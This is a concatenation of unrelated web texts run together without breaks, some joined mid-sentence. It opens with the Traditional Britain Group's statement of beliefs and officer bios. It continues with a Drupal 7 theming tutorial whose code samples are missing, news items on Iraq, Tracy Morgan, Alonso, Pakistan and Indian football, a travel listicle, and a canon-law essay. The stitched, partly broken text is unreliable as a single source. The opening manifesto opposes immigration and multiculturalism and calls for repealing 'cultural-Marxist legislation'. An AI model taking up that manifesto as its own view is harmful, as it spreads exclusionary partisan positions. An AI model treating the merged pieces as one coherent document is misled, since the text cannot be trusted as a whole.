We believe in Britain and the British people, their heritage and customs. We believe in a sovereign self-governing Britain and withdrawal from the EU. We reject all forms of foreign interference in our government. We ask for an understanding and consciousness by all our people of their nation’s greatness, achievements, and glory. We believe that the heterosexual family is the primary social unit. We believe in authority. We believe in the spiritual values of life and of the respect that is owing to man. We believe in the obligation of labour and the rolling back of the welfare state. We believe in virtue and the sacred nature of Christianity and our Established Church. We believe that our country is best served by our indigenous customs & traditions, its time-honoured hereditary principle and our monarchy. We are in favour of localism and local communities. We support the small businessman and entrepreneur. We support British industry & manufacturing. We are opposed to internationalism and globalisation We are opposed to communism, to socialism, to liberalism and to anarchism. We are opposed to mass immigration and multiculturalism We are opposed to the Class War. We are opposed to Political Correctness and support the repeal of all cultural-Marxist legislation. We are against the purely materialist conception of life. We support the Great British Countryside and its conservation for future generations. We are against all the great heresies of our age, because we have yet to be convinced that there is any part of the world where the liberty to propagate such heresies has been the cause of anything good.
Traditional Britain Group National Organisation
The Traditional Britain Group is run by a small committee of officials and a Chairman, supported by a President and numerous Vice Presidents. Every year we hold an Annual General Meeting where committee members are nominated and elected according to our Constitution.
President: The Lord Sudeley, F.S.A
A hereditary peer, Lord Sudeley succeeded to his peerage aged just 3, his father having died from wounds inflicted at Dunkirk. Educated at Eton and Oxford, from the age of 21 he was one of the regular active members of the House of Lords for 39 years, until the expulsion of the bulk of the hereditary peerage by the Labour government in 1999. He introduced several successful Bills, most notably that to prevent the unlicensed export of historical manuscripts, and in 1981 a Bill to uphold the Book of Common Prayer. His knowledge of the constitution and legislation is regarded as formidable, and has written extensively on a number of issues.
Vice President and Treasurer: Gregory Lauder-Frost, F.S.A. Scot
Gregory is well known in traditional Tory circles. A member and activist in the Conservative Party 1976-1995, he is the former Chairman of the Conservative Monday Club’s influential Foreign Affairs Committee and was also the Club’s Political Secretary. He was Publications Editor and Secretary-General of the international Monarchist League; Vice-President of the old Western Goals Institute and founder of the Traditional Britain Group in 2001. He has travelled the world meeting politicians and others with the same interests and concerns as the organisations he represented. He has written extensively in papers and journals on political issues and is cited in others. He has a history book currently at the publishers entitled “Campaigning with the Scots 1054-1654” (expected publication 2018) and is presently in the final stages of a further book entitled “Guardian of the Tory Conscience” - The Monday Club – the Crucial 30 Years 1961-1991/2”.
Vice President: Samuel (Sam) Swerling
Samuel Swerling is a retired solicitor and law lecturer who was an active member of the Conservative Party from a young age, standing for them in numerous elections, including General Elections, and served as a councillor at Westminster City Council. He was for over 30 years an activist in the Conservative Monday Club, holding numerous offices within it, including national Chairman. In the new century he, along with Gregory Lauder-Frost, was an active committee member of the now dissolved Conservative Democratic Alliance (CDA). His political autobiography Nation, Tradition & Liberty was published in 2017.Drupal Seven to Zero
After starting a real project with D8 I was pleased to find getting D8 to zero is trivial compared to D7.
“To Zero” for those who aren’t “in the know” — of this expression I just made up — means removing everything (most things) Drupal does in the front end. Developers from backgrounds that are not Drupal see a default Drupal install and wonder why there’s so much "stuff". ExpressionEngine or Craft installations give you a blank page to work with by default. This isn’t Drupal's philosophy. The Drupal Learning Curve™ is half undoing core Drupalisms™ and half learning about common modules (and undoing their drupalisms). Learning those two things gives you enough insight to effectively develop Drupal sites and build your own modules.
D8 made it easier to get to zero. D7 made it hard. How hard? Expletively hard™. If you want to play at home check out our Zero theme which I put together while writing this (for science).
Disclaimer: Taking D7 to absolute zero may not be a good idea for every (or any) project you work on. For reasons that will become apparent.
One
First I’ll assume that Drupal is downloaded, installed, and running on a local environment. Second if something isn't taking effect remember to clear the Drupal cache.
Once we have a clean D7 install running we can create a new theme. I've called mine Zero, you can check it out on github. To create a theme you just need a.info file, a screenshot.png, and (for our example) an assets folder with our CSS and javascript. Something like this:
Name, description, and core are pretty self explanatory. By default a new Drupal install will have content in the regions listed above, so we'll just keep them. The absolutely required regions are: content, help, page_top, and page_bottom. Drupal will create those if you don't specify anything. Finally stylesheets and scripts are our files. They will end up being the only files — along with the page itself and any images — that our site will load.
Quick note for some: Why don't we just copy "stark" the defaultiest of Drupal themes? You can, and then delete everything in it and rename it. Why can't we use "stark" as a base theme? Because "stark" has default CSS which we don't want.
Two
Activate the theme on the admin panel under appearance.
On a browser window in which we are not logged in we can see our very plain website. It's plain to be sure but it still has a lot of Drupal additives. Using chrome's dev tools' "Network" tab we can see that we are loading a ton of CSS files and javascript files.
A lot of modules include their own CSS. Drupal core is made up of modules that do this. The menu module, the system module, the node module, etc, all include their own CSS files. They provide default base styles that we may or may not want. In our case, we don't want.
To get rid of all these CSS files we need to add a template.php file. Here we can use hook functions that will massage Drupal into the shape we want. To remove CSS we can use the hook_css_alter() function (where hook is replaced with our theme name):
A note about removing all the CSS Drupal provides. Some modules depend on these styles to do their thing. For example, if we now look at our site while logged in we will notice our toolbar is messed up. We can come up with solutions to these problems, like our own base styles addressing the problem, making our own toolbar, or getting a toolbar module that doesn't rely on Drupal's base styles.
To remove all Drupal added javascript we use a similar hook called hook_js_alter(). This will also go inside the template.php file:
As with our CSS alter function, this will remove scripts that existing modules or modules you may add later depend on. For example drupal.js contains a Drupal object that any contributed module that uses javascript will likely be attach itself to. Also worth noting, this will remove the jQuery that ships with D7. We may chose to not remove all or any of the scripts, giving us full control.
At this point we have removed everything except the two files we defined in our.info file. Great, but, we are only halfway there... sort of.
Three
Our next challenge is changing the markup D7 outputs. There are no templates on our theme, which begs the questions, where is all this markup coming from?
It comes from core modules. For our purposes we'll talk about the default ones, but keep in mind any module you add may have its own templates that need to be overridden (the most common will be the views module and its many templates). The core modules we want to focus on here though are the system module, the node module, and the block module (notable exception: the taxonomy module and field, just know that they exists too).
To override the defaults markup these modules output we can create a /templates folder inside our theme and copy and paste the following templates into it:
/modules/system/html.tpl.php
/modules/system/page.tpl.php
/modules/system/region.tpl.php
/modules/node/node.tpl.php
/modules/block/block.tpl.php
We can now override all the markup D7 is outputting by modifying our copies. We can change div tags to html5 tags, we can change the doctype. We can remove classes, attributes, IDs, etc.
We can also access variables directly and effectively cut out the need for templates that render smaller parts of the page. For instance, you could render a page's content from the page template and never need the region, or node template. Not to say you should do that, but you could do that, and it might make sense to do that at some point for some reason.
As with everything else, the caveat is that contributed modules you might want to use may be utilizing classes, attributes, markup, or templates D7 provides by default.
Four
This is the last thing we are going to cover. And it takes us back to our template.php file and hook functions.
While you could just delete the $classes variables from templates (in node.tpl.php's node wrapper for example), you may want to go about this a different way. A more drupaly way.
To do that we need to open our template.php file again and use another hook function. The hook_preprocess_HOOK() where hook is your theme name and HOOK is the template you are affecting. For example we can use the zero_preprocess_node() function to change variables in node.tpl.php :
In this function we are passing all our variables by reference and modifying the "classes_array" key. This key contains classes that will be output in our template. By replacing the classes array with an empty array we have effectively deleted all the classes. We could also add our own array of classes this way.
As with everything else, you might break stuff by doing this, so know what future modules you add need or use.
Zero
There it is, four complicated steps to get D7 to zero (almost).
This isn't a complete guide, but I hope to continue to update the zero theme with ways to zero out different parts of Drupal. Like I said D8 does a good job of making all this easier, but some of us still need to develop in D7 for a while longer.
For those who want to poke around the Zero theme, I recommend getting the Devel Module and enabling "Devel Generate". It can generate a bunch of dummy content. Devel also provides the dpm() function which is a great tool for viewing large objects/arrays (for example try dpm($vars) inside the zero_preprocess_node() function). Make sure to refresh the page multiple times, be logged in, and don't delete the $messages variable from page.tpl.php.
I've also purposely avoided talking about menus and other trickier things to zero out, because they would take up too much time. I hope I have some time to write about that in the future.
As always we love hearing from you. Let us know what you think on social media @NJImedia on twitter or on our Facebook. Or reach me personally at @poettersbetter on twitter with any questions or comments.The last national election in Iraq saw a surprise victory for Iraqiya, a party with strong Sunni support which was eventually cut out of power when Prime Minister Maliki reneged on a power-sharing deal. They dominated in the Anbar Province.
This year isn’t looking nearly so promising. The Independent High Electoral Commission (IHEC) has announced that a large portion of the Anbar Province, including the major cities of Ramadi and Fallujah, won’t be voting at all on April 29.
Fallujah remains under the control of al-Qaeda in Iraq (AQI) as does a lot of Anbar, and IHEC insists that there is no way they can organize the vote when there is an ongoing military offensive in the cities.
Exactly how far that spreads remains to be seen, but the city of Abu Ghraib, just outside of Baghdad, fell to AQI earlier this week, and is just a stone’s throw away from Baghdad. If the fighting moves into the capital, it seems impossible that the election can be held at all.
Last 5 posts by Jason DitzTracy Morgan fired back at Walmart a day after the retailer responded to the comedian’s lawsuit by blaming him for injuries sustained when one its trucks rear-ended the limousine in which he was traveling.
“I can’t believe Walmart is blaming me for an accident that they caused. My friends and I were doing nothing wrong,” Morgan said in a statement.
He was responding to papers filed Monday in the U.S. District Court in New Jersey, in which Walmart claimed that “[u]pon information and belief, plaintiffs are barred in whole or in part from recovery against Walmart because plaintiffs’ failure to properly wear an appropriate available seatbelt restraint device. By failing to exercise ordinary care in making use of available seatbelts, upon information and belief, plaintiffs acted unreasonably and in disregard of plaintiffs’ own best interests.”
Because Morgan and his fellow passengers may not have been wearing seatbelts, Walmart contends that it is immune from the punitive damages Morgan is seeking in his lawsuit.
At the time of the crash, Walmart issued a statement saying that “[i]f it’s determined that our truck caused the accident, Walmart will take full responsibility.” The driver of the Walmart truck, Kevin Roper, has been charged with vehicular homicide and assault by auto. He allegedly had not slept in more than 24 hours when he plowed into the limousine in which Morgan was traveling.
Benedict Morelli, Morgan’s lawyer, told The New York Daily News that his client was “very upset” by Walmart’s accusation.
“He’s struggling every day, fighting hard just to get incrementally better, and they hit him with this.”
Morgan and the two other survivors of the crash, Jeffrey Millea and Ardley Fuqua, are “trying to get their brains to work the way they worked before the accident,” Morelli added.
Morgan has been “offered his own show, a movie — he can’t do any of those things. He spends hours and hours a day in rehab, struggling and fighting to get better. It can’t even be assessed, what the outcome is going to be.”
When asked if Morgan would ever be able to resume his career, Morelli said, “I don’t know the answer.”
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Story: http://www.rawstory.com/rs/2014/10/tracy-morgan-walmart-is-blaming-me-for-injuries-caused-by-their-truck-drivers-crash/This quote by Henry David Thoreau says it all, “The man who goes alone can start today; but he who travels with another must wait till that other is ready.” Travel is great whichever way you attempt it, but traveling alone is a definite eye-opener. You stop focusing on the other person, and their judgment of your actions and focus on what is really important – the vistas in front of you. If you haven’t attempted traveling by yourself before, give it a try. You’ll be pleasantly surprised. When you rely on yourself for everything, without looking to your partner or travel group for assistance, you’ll find that you are more than capable of managing the world on your own.
1. No Time Wastage On Logistics
Imagine the sheer logistics of traveling with a group–working out vacation times, budgets, luggage limits, ticket bookings, hotel accommodations and the many discussions! When you’re ready to go solo, all you do is plan just for yourself and be flexible to change your plans at any time. It’s so freeing, you won’t believe it!
Get Inspiration: 10 Indian Solo Female Travelers spreading their wings in the sky
2. You won’t have to live with another’s fears
We may not realize it, but we’re always influenced by people’s opinions in life. For example, say you want to try bungee jumping but your partner frowns upon it. When you’re traveling alone just do your own thing. Face your own fears, go and dive with sharks in South Africa and bungee jump in New Zealand.
3. You’re The Decision Maker
There’s always a pecking order in any travel group; someone or the other is the leader. When you travel solo, you’re the leader and you’re the decision maker. Being in charge of your life out there is a very empowering thing.
4. You Can Consider Multiple Career Options
When you decide you want to be a solo traveler, you can opt to work as you travel, or choose a career that allows you to pace your work. You can take more trips, and even consider making travel your work. All this is possible because you don’t have to worry about a travel group.
5. You Can Change Your Plans On A Dime
When you’re no longer dependent on a travel partner, you can change your travel plans on a dime. Want to shelve the original route and go somewhere else? Just hitch up that backpack and get those visas ready. It’s all up to you; you’re the master and you decide how to travel alone.
6. You Have Total Control Over Expenses
Want to stay at an expensive room just for one night? Want to pick up that expensive bag for your mom? Go ahead. If you make mistakes, you’ll have only yourself to deal with. When you’re traveling by yourself, you don’t have to answer to anyone else; this makes you more financially responsible.
Check Out: World’s Cheapest Countries To Plan Your Next Holiday
7. There’s No Buffer Between You And Actual Experience
Shared experiences are wonderful, but they are not exact. We miss out much while observing others’ reactions to those experiences. A partner or group tends to create a buffer between you and your travel experiences. Without those, your experiences will be so much more intense.
8. You Can Travel At Your Own Pace
If you want to spend more time in the desert checking out that wonderful sunset, you can. Or if you want to stay longer at a place without sticking to your itinerary, you can. What you do with your schedule is your decision, no one else’s.
9. You’ll Be More Focused On Your Destination
When you’re alone, you’re free to focus more thoroughly on your destination and engage more directly with your surroundings. Solo travelers report more vivid memories of their travels, because their attention was fully focused on their surroundings.
10. Your Confidence Gets A Big Boost
When you set out on your first solo trip, you’ll be justifiably full of trepidation. No matter how many times you’ve traveled with others before, going it alone requires courage and confidence. Each day of your travel will help build this very necessary confidence. By the end of your first solo trip, you’ll be a different person; in fact, your friends will be able to tell the difference.
11. Traveling Alone Opens Up Possibilities Of Adventure
At first, you might book tickets to a relatively tepid travel destination like an urban city. As you continue to travel alone, you’ll feel free to attempt more adventurous travels, such as a solo trip into the villages of Africa, or the jungles of Malaysia.
12. Traveling Helps You Learn More About Yourself
It’s only when you travel solo you’ll understand who you really are. You’ll find out who you are, what you care about, what your limits are, and what you like to do with your time. When you travel with others it can be great fun but you’ll only see yourself through their eyes.
13. You Can Cross Off Your Bucket List Faster
How many trips can you manage in a year when you travel as a group? Maybe one or perhaps two if you really love travel all that much; however, when you travel solo, you can make a list of places you want to visit and cross off your bucket list faster.
14. You’ll Get To Meet More People
Solo and don’t have anyone to translate for you, or get things done with their better language skills? Don’t worry; just look around and you’ll meet other travelers who have similar skills. Or, turn to the locals and ask for help. You’ll find that you manage just as well, if not better.
15. You Plan Your Own Activities
When you’re part of a group, each person will have an opinion about where they want to go and what they want to do. If you’ve ever felt hesitant to state your opinion or get to spend the day doing what you want to do while traveling, you know what we’re talking about. When you travel solo, you’re free to spend time on ‘waste’ activities like a Spa engagement.
16. Solo Travel Is Empowering
Traveling solo makes you smarter, more aware of your surroundings, and more capable of dealing with various situations. Since you’ll no longer have someone to push to the front, you’ll be at the forefront of all situations. So whether you’re arguing with your hostel owner about bed bugs or negotiating a trip with a local, you’ll feel utterly empowered and powerful.
17. You Can Expect Better Hospitality Services
Hotels do welcome travel groups as more people mean more money, but then dealing with groups can be finicky. As a solo traveler, you’ll find that you’re the recipient of better hospitality services, and even little ‘favors’ like an extra pillow or an extra olive in your cocktail. Somehow, locals admire solo travelers, especially female solo travelers. So take advantage of this natural sympathy, and ask for a room upgrade with your best smile!
18. You’ll Get A Much-Needed Detox From Technology
We have developed such unhealthy addictions to technology these days. We’re unable to even go to sleep without placing our smartphones next to us, attending to tweets half the night. When you’re traveling, there’s no guarantee of internet reception, so you’ll not be tweeting anyone except when you can. Plus, with no partner to call, you’ll soon forget about your smartphone, except to take photos and videos. You’d rather get addicted to travel, wouldn’t you?
19. Travel Increases Your Compassion Levels
It’s only when you travel that you’ll realize how the rest of the world lives. Television does a darn good job but nothing like coming face-to-face with starving people in Ethiopia or misused animals in some corner of the world. You’ll feel great sympathy for the world, and overflow with compassion for people who live with lowered expectations of life.
20. You Become More Comfortable In Your Own Skin
When you don’t have to put on appearances for others in your group, you become comfortable in your own skin. You wear what you want to wear, without judgment, and without rancor. You become less aware of yourself and more aware of your surroundings and the road ahead of you, which is the mark of the true traveler.
21. You’ll Be Forced To Face Your Weaknesses
When you’re part of a group, someone takes care of the logistics, while someone else is in charge of the GPS. When you travel solo, all of a sudden you’ll be forced to face your weaknesses. Problems finding places on the map? Issues with language? Not sure what sort of extras to ask for while booking hotel rooms? Not confident of speaking to local people? Well, you’ll have to learn to tackle each one of these weaknesses and get going.
22. You Will Become More Self-aware
When you travel solo, you realize that you occupy only a tiny portion of the world. This realization will bring in much-needed humility and a sense of self, without any inflated sense of self-importance.
Conclusion
More and more people, especially women, are choosing to travel alone these days. The emotional environment is shifting. Solo travellers were considered, ‘lonely’, and ‘in need’ of a partner, but solo travel is major fun and people are discovering this. Solo travel is not just traveling the world; it’s about traveling within, and discovering yourself each day.How 21 Houston suburbs got their names
Humble according to HumbleTX.com, they had to move to higher ground to avoid flooding. Humble is an oil town named after an original settler, Pleasant Smith Humble, who died in 1912. Humble's family had previously lived along the San Jacinto River, but, they had to move to higher ground to avoid flooding. less Humble according to HumbleTX.com, they had to Humble is an oil town named after an original settler, Pleasant Smith Humble, who died in 1912. Humble's family had previously lived along the San Jacinto River, but, they had to... more Photo: Gunnar Liljequist, Houston Chronicle Photo: Gunnar Liljequist, Houston Chronicle Image 1 of / 54 Caption Close How 21 Houston suburbs got their names 1 / 54 Back to Gallery
The Houston area is home to some odd city names, from Humble to Kemah. Transplants eventually learn to pronounce everything properly, but does anyone remember where the names come from?
Some of Houston's suburbs started out when Texas was still part of Mexico, while others were formed by developers in the 1970s with the help of massive advertising campaigns.
GET A GOLF CART: Things that will definitely happen to you in the suburbs
Many towns are named after one of their original founders - rich landowners, Civil War veterans, lumberjacks and cattle breeders.
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Others, like a town named by railroad workers who were sick of winter, have less obvious origins.
Based on the information we found, the expansion of various railroads in the Houston and Galveston area led to the formation of many small towns in between. Agriculture has also had a big impact on the area.
Do you know how your town got its name? Click through the slideshow to find out.Robert Pires wants sporting director role…
Arsenal legend Robert Pires has made it clear that he wants to be handed the role of sporting director at Arsenal should the position become vacant in the near future.
With the future of Arsene Wenger unclear, many have suggested that the Frenchman will need to be replaced by a new coach and a sporting director given the workload he takes on at the club.
The man currently occupying a similar role is Dick Law, although The Telegraph report that he may well depart the club this summer which would open the door for Pires.
Asked what he would bring to the role, the former winger replied: “The most important thing is for the fans, so you need to buy good players.”
“But you need to spend a lot of money because this is the new football. I don’t know what will happen in the future for me, but this is my plans.”
Keeping some of our legendary players around the club has been one of the main criticisms levelled at Wenger, with many of our rivals benefiting from their expertise.
Mikel Arteta left for Manchester City last summer, while Patrick Vieira and Tony Adams have held similar roles at other Premier League clubs.
Would Pires make a good sporting director?
Source: Natacha TannousAlonso qualified fifth for the race on Sunday despite having never driven an Indy car before this month
Fernando Alonso says he expects to find the Indianapolis 500 "difficult" as he attempts to win the prestigious race for the first time on Sunday.
The McLaren Formula 1 driver is missing the Monaco Grand Prix to race in the US and has qualified fifth on the grid.
"Anyone can win the Indy 500 of the 33 drivers because it is an unpredictable race," the 35-year-old said.
"You cannot plan in advance. You need to keep improvising. I know I will lack experience in critical moments."
The Spaniard said he was determined to enjoy the event.
"I want to live the moment, I want to live the experience," said the two-time F1 world champion.
"On Sunday when race time arrives, 300,000, 400,000 people at a sport event has no comparison to any other sport event in the world.
"The Olympic Games and Super Bowl cannot put 400,000 people in one place on one Sunday."
Hundreds of thousands will attend the event held during Memorial Day weekend in the US
Alonso said he was "surprised" by his speed in qualifying, which puts him in the middle of the second row for the rolling start.
And he could have been faster - a brief engine problem during his four-lap qualifying run cost him a place on the three-car front row.
"When we announced to come here one month ago, we did it without knowing how competitive we could be, if I was able to adapt to oval racing, to these cars," said Alonso, who is driving a McLaren-branded car for Andretti Autosport team, powered by an engine made by McLaren's F1 partner Honda.
"You respect the place, respect the speed. You respect your colleagues out there but at the end of the day, when you are in your car and close the visor, you would like to have one mile per hour more. It's never enough."
Alonso said he felt his biggest handicap in the race would be his lack of experience of running in groups of cars at speeds of 230mph.
The biggest challenge I will face is in the race when you are running in traffic, those groups of cars that form in the race," Alonso said.
"It changes completely the behaviour of the car. You feel the car very loose... we've been practicing that with the team, trying to create our own groups because we are six cars.
"With no experience, for me you're not sure sometimes where you are with that line - if you are over the limits of the car, or over the limits of running with the traffic. Just guessing what the car will do, what you are doing.
"I still lack experience in important moments of the race. I will try to compensate with the speed, with motivation and we will see what happens.
"Taking the opportunity to overtake and to pass will be a difficult decision to make. There are many factors you need to address while you are driving 230 miles per hour.
"You have to stay calm, be ready for the last one-third of the race. That is where it comes."
New Zealander Scott Dixon will start the race from pole position
Dixon expects Alonso threat
Alonso had never driven an IndyCar before his 'rookie' test on 4 May, but four-time IndyCar champion Scott Dixon, who has qualified on pole, believes the F1 driver will be a threat for victory in the race.
"He's done amazing and to be honest, to win the race, he's going to be one of the guys you're going to have to beat," the 36-year-old New Zealander said.
"You can typically weed out a group of guys in any formula that are at the top and are slightly different than the rest and he is one of those guys."Facebook Messenger got a nifty little update today. The popular messaging app now includes a “voice record” feature. If you’re feeling too lazy to type out a message, you can simply touch “voice record”, hold down the red record button and speak what you want your friend to know. When you’re done recording your message, just let go of the record button and the app will automatically upload your message and send it across the airwaves to your friend’s phone, where they can give it a listen. For now, voice messaging is limited to one minute, so if you’re gonna talk longer than that, you should probably just make a normal phone call (do people even still make those?). If you want to grab the app, use the QR code or download link below.
Google Play Download LinkThe Traveler is at the center of a web of mysteries that will span multiple games
Bungie has a lot to prove with Destiny, and the news that player progress in the upcoming shooter will be capped at level 20 wasn't met with enthusiasm. In existing MMOs hitting the level cap usually means the game is about to get boring, after all.
There is an explanation for the low cap, however. In Destiny, a new breed of MMO that could kickstart the genre for the next generation of games, the idea is that players will hit the highest level quickly so that their friends are never too far ahead.
After that point, progression is meant to be "horizontal" - you'll seek out better equipment and try out different builds without actually leveling up.
No matter what kind of fancy labels Bungie slaps on Destiny, the truth is that it really is an MMO. And these changes to genre conventions could mark a paradigm shift as more and more new Xbox One and PS4 games begin to borrow various aspects from the massively multiplayer.
But Bungie Head of Community Eric Osborne told TechRadar at E3 2014 that there's more to Destiny's end-game content than that. "In Destiny, when you complete the campaign, you're really just getting started," he said.
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[micropayment systems] solve no problem the user has, and offer no service we [readers] want. As a result, conversations about small payments take place entirely among content providers, never involving us, the people who will ostensibly be funding these transactions.”
Everyone we interviewed for this article disagreed with that notion, however. Their general consensus was that the success or failure of bitcoin micro-tipping services comes down to the numbers. If more people adopt bitcoin, more users will find it useful to pay for content online with bitcoin. Businesses based on micro-tipping could survive, if their models were sound.Cardinal Daniel DiNardo, the Archbishop of Galveston-Houston, recently permitted the United Methodist Church to celebrate an ordination service at the Catholic Co-Cathedral of the Sacred Heart in Houston. This event has set in motion a wave of criticism on orthodox Catholic blogs and websites. The criticism generally has focused on the fact that the Catholic Church does not recognize the validity of Methodist ordinations, and the fact that the presiding Methodist bishop was a woman. The prevailing critiques also charge Cardinal Di Nardo with the sin of scandal. However, the commentary to date has included little discussion of the law of the Church.
A follower of the vigorous criticism directed against Cardinal DiNardo might be surprised to learn that the cardinal’s decision enjoys relatively strong support in canon law. I do not mean that the law commands the accommodation that Cardinal DiNardo made for the Methodists, but rather that it provides him with ample discretion to make such a decision. Although the primary purpose of churches and cathedrals is for Catholic worship, canon 1210 makes allowance for some other uses of sacred places as well.
What other uses are permissible? Such uses must be only occasional, and they must not be opposed to the holiness of the place (cf. can. 1210). An example of an activity that would be contrary to the holiness of a church would be a political rally. By contrast, a legitimate other activity that might occasionally be held in a church would be a historical lecture.
Does a Methodist liturgy qualify as a legitimate other use of the Catholic cathedral? Canon 1210 itself does not directly answer this question, but the breadth of its language seems to allow any occasional use that is not contrary to the sacredness of the place. Moreover, in the 1993 Ecumenical Directory, the Holy See says outright that it sometimes is permissible for a non-Catholic liturgy to take place in a Catholic church.
Many Catholics will be surprised to learn this. However, the Holy See has permitted such use of Catholic churches since its issuance of the first Ecumenical Directory in 1967. Both the original directory and the current one were approved by the then-reigning popes. In fact, the pope who approved the current directory, John Paul II, was the same one who promulgated the current Code of Canon Law in 1983.
Some of Cardinal DiNardo’s critics say or imply that a Methodist ceremony in a Catholic church always is inappropriate because the Church does not recognize Methodist ministers as validly ordained. However, it simply is not the case that this fact disqualifies Methodists from ever using Catholic churches. Since 1967 the Holy See has allowed for the possibility of the “separated brethren” using Catholic Churches in some situations, and it never has distinguished such communities on the basis of the validity of their ministers’ ordination.
What are the circumstances in which it might be permissible for a Protestant community to use a Catholic church? The current Ecumenical Directory (1993) provides that, although Catholic churches generally are reserved for Catholic worship, a diocesan bishop may make a church available for the ceremonies of a non-Catholic ecclesial community that lacks an adequate facility of its own (cf. ED, §137). Thus, a light cause is not sufficient to allow a Protestant community to use a Catholic church, but rather there must be some showing of need.
In this case, the reason for the Methodists’ request to use the Catholic co-cathedral appears to have been that they were holding their annual conference in Houston and lacked a Methodist church large enough to accommodate all of the attendees. If this was indeed the reason for the request, then I believe that it would satisfy the showing of need that the Ecumenical Directory requires. This situation would permit, but not require, the diocesan bishop to make a Catholic church available to the Protestant community.
Given that the law of the Church seems to allow Cardinal DiNardo to make a Catholic church or cathedral available to the visiting Methodists, should he have done so?
As discussed above, I believe that the cardinal’s decision was lawful. In addition, I believe that there has been some excess in the critiques charging the cardinal with the sin of scandal. In everyday English usage, scandal can refer broadly to almost any offensive action that has become a matter of public knowledge. In the ecclesiastical context, however, scandal is a narrower concept that refers specifically to conduct that leads another person into sin (cf. CCC, §2284). Although some fear that the cardinal’s accommodation of the Methodists might lead Catholics to endorse the ordination of women, the general thrust of the commentary suggests that the critics have been more offended by the cardinal’s decision than truly scandalized by it.
That being said, however, I nonetheless believe that the faithful legitimately may disagree with the cardinal’s decision, provided that they do so respectfully and responsibly (cf. can. 212 §§2&3). My own opinion is that, under current law, there is no difficulty in making a church available to visiting Methodists for a regular Sunday or weekday service (cf. can. 1210; ED, §137). In this case, however, the ceremony at issue was an ordination, which was celebrated by a female Methodist bishop and which included women among those to be ordained. That is, the ceremony itself implicated the ordination of women to the priesthood and the episcopacy. As a result of this circumstance and as a result of the fact that many of the Catholic faithful continue to have difficulty accepting the Church’s teaching on this very point (the reservation of the priesthood to men), my opinion is that the better course would have been to decline permission to hold this particular ceremony in the Catholic cathedral.
The Church has two codes of canon law, one for Roman Catholics and another for members of the Eastern Catholic Churches. The code for the Roman or Western Church took effect in 1983, and the Eastern in 1990. The Eastern Code, because it came later, contains some improvements over the Western Code. In particular, although both impose upon bishops a duty to work for Christian unity (cf. can. 755 §2; Eastern Code, cann. 902-908), the Eastern Code also includes an injunction to avoid the dangers of false irenicism, immoderate zeal, and indifferentism in ecumenical efforts (cf. Eastern Code, can. 905). The Houston matter suggests that the law of the Western Church on ecumenism may be too open-ended and unstructured to provide much practical guidance to diocesan bishops in concrete cases. As a result, pastors in the West might well look to the Eastern Code for an example of a system that seriously promotes Christian unity, but that also recognizes the dangers into which ecumenical efforts sometimes may fall.Malala Yousafzai is Pakistan’s most visible champion of a woman’s right to an education, but she's not her country's only one.
Five months after the 14-year-old Yousafzai was shot while riding a school bus, the victim of a Taliban gunman, a female teacher who worked at a girls’ school near the city of Peshawar was killed in a driveby shooting.
Shehnaz Ishtiaq, 41, was killed Tuesday by an assailant who rode a motorcycle. She was walking to a girls’ primary school in Shahkas in Pakistan’s Khyber district when she was shot to death. Ishtiaq worked as a teacher for 22 years and was shot to death in front of her teenaged son, Pakistan’s Express Tribune newspaper reports.
Ishtiaq, a mother of three, was shot three times and died after being taken to a local hospital for surgery.
Yousafzai angered the Taliban for her willingness to speak plainly and defiantly in support of gender equality.
After the Taliban took control of her hometown and announced girls would no longer be educated at schools, Yousafzai spoke to the matter at a press conference.
“How dare the Taliban take away my basic right to an education,” she said at the time.
After being shot in the head in October, Yousafzai was taken to England, where she has made a remarkable recovery. She’s now attending school there and on Wednesday, reportedly agreed to write a memoir called "Malala" for $3 million.
It’s unclear whether Ishtiaq was as vocal about her views.
“She never told me about any threats or fears she had… she was not scared of militancy in the region,” Ishtiaq’s husband told The Express Tribune.
Police have arrested 25 suspects and seized 10 motorcycles, according to a local press report.
UN Special Envoy for Global Education Gordon Brown has written to Pakistan President Asif Zardari asking for better security measures to protect girls and teachers going to school.
It's hard to imagine Brown's interest will improve conditions for women in Pakistan, where only 20 per cent of women work outside the home, and most of those are unpaid labourers in agriculture, according to the International Labor Organization.
The ILO says among other challeges, women lack safe, secure public transportation in Pakistan. On public buses, for instance, the two front seats next to the driver are reserved for women while the rest of the bus is for men, the ILO says, according to a recent Voice of America report.
“We haven't been able to change people's mindset because we fail to provide education, we fail to give them a sufficient level of exposure so the people should know, and we fail to even provide conditions where women themselves can be empowered enough to protect themselves against all kinds of cultural and traditional violence," Farzana Bari, a professor of gender studies at Qaid-e-Azzim University in Islamabad, told VOA in an interview.
Rick Westhead is a foreign affairs writer at the Star. He was based in India as the Star’s South Asia bureau chief from 2008 until 2011 and reports on international aid and development. Follow him on Twitter @rwestheadLanguishing in 7th place in the Indian Super League table, Kerala Blasters are set to face bottom-placed FC Goa in what is a vital clash at Kochi. Having the dubious distinction of scoring the least amount of goals (4) in the league so far, the Blasters head coach Steve Coppell however refused to brand his team a ‘defensive side’ and insisted that his team does not compromise on attack.
He elaborated, “People assume that we spend hours and hours practicing defending. If you look at the league, the team at the top has scored just 9 goals. Most teams are not scoring goals this season. There are exceptions but that is because they have the players to do so. Teams are playing 3 at the back or 5 in midfield. It’s a tight league. So I don’t see the logic in saying - forget defence and attack altogether. In football, when you defend, 11 players defend. When you attack, 11 players attack.”
The Englishman echoing the thoughts of his rival Zico, said that he never asks his teams to play for a draw. “I prepare my team to win the game. I have never told my players we’ll try to win but I will be happy with a draw. That means trying to commit players forward within the discipline of my team. Sometimes, you see Cedric (Hengbart) play up front. I encourage my players to go forward when we have decent possession. My philosophy is to try and win every game. Nothing less,” he expressed.
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Steve Coppell also shared his bemusement at Rino Anto and CK Vineeth (who are back from Bengaluru FC duty) being asked to travel to Mumbai for a photoshoot by the ISL which effectively rules them out of the game against FC Goa.
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He felt that the situation was unjust towards his team and explained, “There is an issue with the 2 Bengaluru FC players - Rino and Vineeth. For some unknown reason, ISL has asked them to travel to Mumbai for a photoshoot. They could have waited till next week when we play Mumbai away but at the moment they are demanding they travel tomorrow to Mumbai. Obviously, BFC players from Pune and Mumbai don’t have a problem since it is closer for them. But my 2 players who have just come back from Qatar have to disappear to Mumbai. So, it would be almost impossible to include them in tomorrow’s squad. We feel a little bit hard done by. The league has not been fair-handed in this situation. I don’t think it is right.”
Gundogan: City bigger than Bayern
The former Manchester United winger also confirmed that Aaron Hughes and Duckens Nazon will also miss the tie because of international commitments. He specifically lamented Hughes’ absence, terming it a ‘huge loss’, but remained hopeful of another player stepping up and performing.
Coppell also took issue with the league’s scheduling and stated that it was not fair on his team to have played 4 away games on the trot.
